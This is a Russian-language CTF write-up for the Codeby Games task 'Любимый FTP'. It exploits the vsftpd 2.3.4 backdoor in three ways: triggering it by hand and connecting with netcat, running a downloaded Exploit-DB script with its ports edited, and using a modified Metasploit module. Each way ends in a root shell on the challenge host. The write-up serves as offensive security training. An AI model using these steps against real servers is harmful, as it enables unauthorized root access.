Codeby Games Codeby Games - Любимый FTP [Writeup]

prew.jpg

Данная статья является райтапом на задание "Любимый FTP" из категории "Администрирование". В задании необходимо найти и использовать уязвимость в FTP-сервере vsftpd версии 2.3.4. Будет рассказано о процессе поиска уязвимости, применении эксплойта и получения доступа к системе. В качестве инструментов используются GitHub, ExploitDB и Metasploit.

Ссылка на задание: Игры Кодебай | CTF-платформа

1701691944282.png


Анализ.​

Прежде просканируем порты утилитой Nmap с опцией -А:
Bash:
└─$ nmap -A 62.173.140.174 -p 10007,10008
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-04 07:22 EST
Nmap scan report for codeby.games (62.173.140.174)
Host is up (0.032s latency).

PORT      STATE    SERVICE VERSION
10007/tcp open     ftp     vsftpd 2.3.4
10008/tcp filtered octopus
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.40 seconds

Из результатов сканирования видим, что на 10007 порту работает ftp-сервер vsftpd версии 2.3.4.
Погуглим уязвимости для этой версии и на каком-нибудь сайте найдем такое описание:
Код:
В июле 2011 года было обнаружено, что версия vsftpd 2.3.4, которую можно загрузить с главного сайта, была скомпрометирована.
Пользователи, заходящие на взломанный сервер vsftpd-2.3.4, могут использовать смайлик :) в качестве имени пользователя и получить
командную оболочку на порту 6200. Это не было проблемой дыры в безопасности в vsftpd, вместо этого кто-то загрузил другую версию
vsftpd, который содержал бэкдор. С тех пор сайт был перенесен на Google App Engine.



Решение 1.​

Попробуем подключиться к FTP-серверу.
Помним, что при вводе логина обязательно указать смайлик :), пароль - любой.
Открываем терминал и подключаемся:

Bash:
└─$ ftp 62.173.140.174 10007
Connected to 62.173.140.174.
220 (vsFTPd 2.3.4)
Name (62.173.140.174:kali): ALT1RE:)
331 Please specify the password.
Password:

После ввода пароля сервер подвис и ничего не происходит. Проверим - вдруг он ожидает нас на 6200 порту.

Попробуем подключиться к нему во втором терминале:
Bash:
└─$ nc 62.173.140.174 6200
(UNKNOWN) [62.173.140.174] 6200 (?) : Connection refused

Нет - там нас никто не ждет.

Вспоминаем, что в описании к заданию был дан еще один порт - 10008. Пробуем подключиться к нему:
Bash:
└─$ nc 62.173.140.174 10008
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)

Вводим команду 'id' и понимаем что мы под рутом.

Осталось лишь найти флаг в каком-то файле и сдать его на площадке.
Формат флага: CODEBY{eT0_nE_f1@g}



Решение 2.​

Всего ранее описанного можно было не проделывать, а найти, например на exploit-db.com, готовый экплойт, ИССЛЕДОВАТЬ исходный код, отредактировать в нем порты (21=>10007, 6200=>10008) и запустить:
Bash:
└─$ wget https://www.exploit-db.com/download/49757
└─$ sed -i 's/21/10007/g' 49757
└─$ sed -i 's/6200/10008/g' 49757
└─$ python3 49757 62.173.140.174
/home/kali/49757:11: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
  from telnetlib import Telnet
Success, shell opened
Send `exit` to quit shell
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

При возникновении проблем с версиями модуля telnetlib: типа "DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13" чтобы не вникать в зависимости, попробуйте найти другой эксплойт - например этот.
Скачайте его, посмотрите исходный код (ну мало ли что там) редактируем порты - вместо 21го 10007, вместо 6200 - 10008:
Bash:
└─$ nano exploit.py
...
def __init__(self,ip,port=10007):
...
...
io = remote(self.ip, 10008)
...

Запустите и получите рута:
Bash:
└─$ python3 exploit.py 62.173.140.174
[+] Got Shell!!!
[+] Opening connection to 62.173.140.174 on port 10007: Done
[*] Closed connection to 62.173.140.174 port 10007
[+] Opening connection to 62.173.140.174 on port 10008: Done
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)



Решение 3.​

Хотите проэксплуатировать используя фреймворк Metasploit? - запускаем его и ищем подходящий эксплойт:
Bash:
msf6 > search vsftpd

В базе метасплойта нашлось два эксплойта для vsftpd:

Pasted image 20231204093227.png


Нам нужен эксплойт для версии 2.3.4 - выбираем:
Bash:
msf6 > use 1
или
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

Мы знаем, что ftp-сервер работает на порту 10007, адрес удаленного хоста 62.173.140.174 и при удачной эксплуатации сервер отдаст шелл на 10008 порт - зададим параметры эксплойта:

Bash:
set RHOST 62.173.140.174
set RPORT 10007

Но куда вписывать 10008 порт?! - а некуда его указывать, в эксплойте не предусмотрена возможность редактировать порт для обратного шелла и при удачной эксплуатации он будет ожидать его на 6200 порту.
Ну и ладно - оставим как есть и запустим эксплойт командой "exploit":

Pasted image 20231204100023.png


После запуска Метасплойт сообщает "Эксплойт исполнен, но сессия не была создана" - оно и понятно, ведь он ожидал его не на том порту.

Я вижу два решения: редактировать эксплойт или подключиться Netcat'ом к нужному порту, ведь половина работы уже проделана и, возможно, сервер готов отдаться нам.

Пробуем неткатом - в новом терминале подключаемся к 10008 порту:
Bash:
└─$ nc 62.173.140.174 10008
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Введя команду "id", видим что мы под рутом - забираем флаг.

Давайте теперь попробуем отредактировать эксплойт.
Переходим в каталог с исходным кодом нужного эксплойта и, например, в редакторе nano попробуем изменить порт:
Bash:
└─$ cd /usr/share/metasploit-framework/modules/exploits/unix/ftp/
└─$ sudo nano vsftpd_234_backdoor.rb

Находим две строки:
Bash:
nsock = self.connect(false, {'RPORT' => 6200}) rescue nil

Меняем порт 6200 на 10008 в обоих. Должно получиться так:
Bash:
nsock = self.connect(false, {'RPORT' => 10008}) rescue nil

Перезапускаем metasploit и запускаем эксплойт (не забудьте настроить его):
Pasted image 20231204104720.png


Дальше находим флаг и сдаем его на площадке.



Мне просто было интересно как это выглядит в исходниках
Скачал себе файл /root/vsftpd-2.3.4/vsftpd и скормил его IDA.
Тут без комментраиев:

1701696214783.png


1701696330380.png


1701696361901.png
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!